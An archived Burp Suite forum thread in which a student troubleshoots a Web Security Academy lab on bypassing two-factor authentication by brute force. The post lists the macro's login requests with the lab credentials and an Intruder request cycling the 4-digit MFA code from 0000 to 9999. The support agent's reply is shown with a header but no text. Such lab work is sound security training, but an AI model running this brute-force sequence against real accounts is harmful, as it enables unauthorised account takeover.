Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Lab: 2FA bypass using a brute-force attack doesn't get me a 302

Student921 | Last updated: Jul 04, 2022 09:17PM UTC

Hi, when i do the the brute forcing attack via macro + intruder, i always receive Code 200 Responses, but no 302. Macro is build like this: (1) GET /login HTTP/1.1 Host: 0a0a008203516d83c09d776400b40024.web-security-academy.net Cookie: session=ru5TQKAWEBXuPQ2K0AVDrrYZOD6uwa8X User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: https://0a0a008203516d83c09d776400b40024.web-security-academy.net/ Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Te: trailers Connection: close (2) POST /login HTTP/1.1 Host: 0a0a008203516d83c09d776400b40024.web-security-academy.net Cookie: session=ru5TQKAWEBXuPQ2K0AVDrrYZOD6uwa8X User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 70 Origin: https://0a0a008203516d83c09d776400b40024.web-security-academy.net Referer: https://0a0a008203516d83c09d776400b40024.web-security-academy.net/login Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Te: trailers Connection: close csrf=aSabNJI55k2rKw87IxcAIqw1YGK1aKeC&username=carlos&password=montoya (3) GET /login2 HTTP/1.1 Host: 0a0a008203516d83c09d776400b40024.web-security-academy.net Cookie: session=UFiW2Evz4AzFbNLRtSY5E4kVZO3e8eCW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: https://0a0a008203516d83c09d776400b40024.web-security-academy.net/login Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Te: trailers Connection: close Following Intruder Request: POST /login2 HTTP/1.1 Host: 0a0a008203516d83c09d776400b40024.web-security-academy.net Cookie: session=bBw94J7y58PIvJ2MkQinolOt1ELI8bsN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 51 Origin: https://0a0a008203516d83c09d776400b40024.web-security-academy.net Referer: https://0a0a008203516d83c09d776400b40024.web-security-academy.net/login2 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Te: trailers Connection: close csrf=USAUKTr2RAVWNFwDwrWNkCycDI9RzYJR&mfa-code=§x§ Where x is any combinations from 0000 to 9999

Ben, PortSwigger Agent | Last updated: Jul 05, 2022 07:52AM UTC